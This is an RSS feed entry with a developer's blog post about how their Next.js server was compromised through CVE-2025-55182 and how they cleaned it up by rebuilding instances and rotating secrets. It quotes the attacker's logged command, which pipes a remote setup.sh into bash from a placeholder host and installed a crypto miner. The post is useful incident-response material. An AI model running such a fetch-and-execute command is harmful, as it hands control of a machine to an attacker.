<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Meriç Kıranoğlu on Medium]]></title>
        <description><![CDATA[Stories by Meriç Kıranoğlu on Medium]]></description>
        <link>https://medium.com/@mrckiranoglu?source=rss-dec116d511d0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*52w2T2LJEHdTdpJSyM7OQw.jpeg</url>
            <title>Stories by Meriç Kıranoğlu on Medium</title>
            <link>https://medium.com/@mrckiranoglu?source=rss-dec116d511d0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 11:16:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mrckiranoglu/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How My “Perfectly Safe” Next.js App Was Hacked: A Real-World Analysis of CVE-2025–55182]]></title>
            <link>https://medium.com/@mrckiranoglu/how-my-perfectly-safe-next-js-app-was-hacked-a-real-world-analysis-of-cve-2025-55182-d35abd8d69b1?source=rss-dec116d511d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/d35abd8d69b1</guid>
            <category><![CDATA[nextjs]]></category>
            <category><![CDATA[security-breach]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[react]]></category>
            <dc:creator><![CDATA[Meriç Kıranoğlu]]></dc:creator>
            <pubDate>Fri, 05 Dec 2025 17:37:32 GMT</pubDate>
            <atom:updated>2025-12-05T19:53:15.355Z</atom:updated>
            <content:encoded><![CDATA[<h4>I followed every security best practice. I still got compromised.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JZeiM8Y5lV---TxZiySKog.jpeg" /></figure><p>When I heard about the critical React Server Components vulnerability, like many other developers, I thought, <em>“This is just an exaggerated security warning. It probably won’t affect my apps.”</em> But luckily, I had some time to read the details.</p><p><a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components">This</a> was the article I read. It calmly states that some npm packages need to be updated. But somewhere in the text, it also says this:</p><blockquote>This vulnerability was disclosed as <a href="https://www.cve.org/CVERecord?id=CVE-2025-55182">CVE-2025–55182</a> and is rated CVSS 10.0.</blockquote><p><strong>What</strong>? This is the highest possible severity score. I though I definitely should understand what is actually happening, so let me explain CVE-2025–55182 here.</p><p>The issue lay deep within the “Flight” protocol. The system React uses to communicate between the server and client. Specifically, there was a flaw in how React deserialized data sent to Server Functions.</p><p>Normally, a server checks credentials <em>before</em> processing a request. But in this case, the vulnerability was <strong>“pre-authentication.”</strong></p><p>Because the React server (and by extension, Next.js) trusts the incoming payload <em>before</em> validating it properly, it “deserializes” the malicious data and treats it as code to be executed. This effectively hands the attacker the keys to the castle before the castle guard even asks for ID.</p><p>My second thought was, <em>“This is pretty easy to exploit. What if….?”</em></p><p>I manage a Next.js application running on <strong>AWS Elastic Beanstalk</strong>. Even before upgrading my dependencies, I decided to do check logs to see if there is a suspicious activity.</p><h3>The Discovery</h3><p>It was hard to miss that suspicious activity. It was a curl request spam to a certain url. The command looked something like this:</p><pre>curl -s http://malicious-ip-address/setup.sh | bash</pre><p>The attacker wasn’t just poking around; they were piping a remote script directly into bash on my production server.</p><p>This is the nightmare scenario. Actually, my app is not a million-dollar product, therefore this was more like an exciting discovery moment than being a business disaster. In that moment, I wasn’t thinking about the damage I would suffer; I was thinking that this is going to hurt a lot of people.</p><h3>Analyzing the Payload</h3><p>As a curious mind, of course I downloaded the file which the attacker curled into my machine. I carefully read the .sh file without executing it.</p><p>The script was designed to:</p><ul><li>Download a binary from a Github repository.</li><li>Configure it with the attacker’s credentials.</li><li>Start mining crypto.</li></ul><p>Yes, a crypto mining app. The machine I pay to host my website became personal crypto-mining farm of the attacker.</p><p>In a way, I was “lucky.” It just steals your computing power and runs up your AWS bill. It’s not much destructive as data stealing or deletion. However, the implication is the same: <strong>They had access.</strong></p><h3>Why Patching Wasn’t Enough</h3><p>If I had simply run npm update and restarted the server, <strong>I would still be vulnerable.</strong></p><p>Why? Because the attacker had already executed a script. That script could have:</p><ul><li>Installed a Cron job to re-download the virus every hour.</li><li>Added an SSH key to ~/.ssh/authorized_keys to let them log in later.</li><li>Run printenv to steal our AWS_ACCESS_KEY_ID, DATABASE_URL, and STRIPE_SECRET_KEY.</li></ul><p>If someone breaks into your server, you have to treat the server as a crime scene. You cannot clean it. you have to burn it.</p><h3>How I Sanitized the Environment</h3><p>Here is the protocol I followed to ensure the intruder was completely removed from my AWS Elastic Beanstalk environment:</p><h4>Restart is not enough</h4><p>I did not try to find and delete the mining files. Instead, I used the <strong>“Rebuild Environment”</strong> feature in Elastic Beanstalk. This terminates the existing EC2 instances entirely and spins up fresh, uncorrupted instances from the base image. This ensures that any persistence mechanisms (hidden files) left by the attacker are physically destroyed.</p><h4>Rotating All Secrets</h4><p>Since the attacker had shell access, I had to assume they read my environment variables, so I simply rotated:</p><ul><li><strong>Database Credentials:</strong> Changed the RDS password.</li><li><strong>AWS IAM Keys:</strong> Revoked active sessions and rotated access keys for the instance profile.</li><li><strong>App Secrets:</strong> Generated new NEXTAUTH_SECRET and API keys for third-party services.</li></ul><h4>3. Reviewing IAM Roles</h4><p>I checked the aws-elasticbeanstalk-ec2-role in the AWS IAM console to ensure the attacker hadn&#39;t used the temporary instance credentials to access other parts of my cloud (like S3 buckets or sending spam via SES).</p><h3>Conclusion</h3><p>This incident was a wake-up call. I’ll definitely think twice before installing an npm package. If React was able to cause this, It’ll be difficult to feel safe ever again.</p><p>If you are running Next.js, please do the following today:</p><ul><li><strong>Check your logs:</strong> Look for curl, wget, or suspicious outbound traffic. Don&#39;t assume you are safe just because your site is still running.</li><li><strong>Don’t just patch:</strong> If you find evidence of a breach, a patch is not a fix. You must rotate your secrets and redeploy on fresh infrastructure.</li></ul><h3>Bonus: Should I hit back?</h3><p>Because the script was automated, the attacker had to hardcode their mining credentials (worker id and password on mining vault) directly into the shell script. I stared at the code, realizing I technically had the keys to their operation. I was incredibly tempted to log into their mining pool dashboard to interrupt or just watch how much profit they were making from this global attack. However, that is where I drew the line. Accessing their account would shift my role from “victim” to “attacker.” I decided to leave the counter-offensive to the authorities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d35abd8d69b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>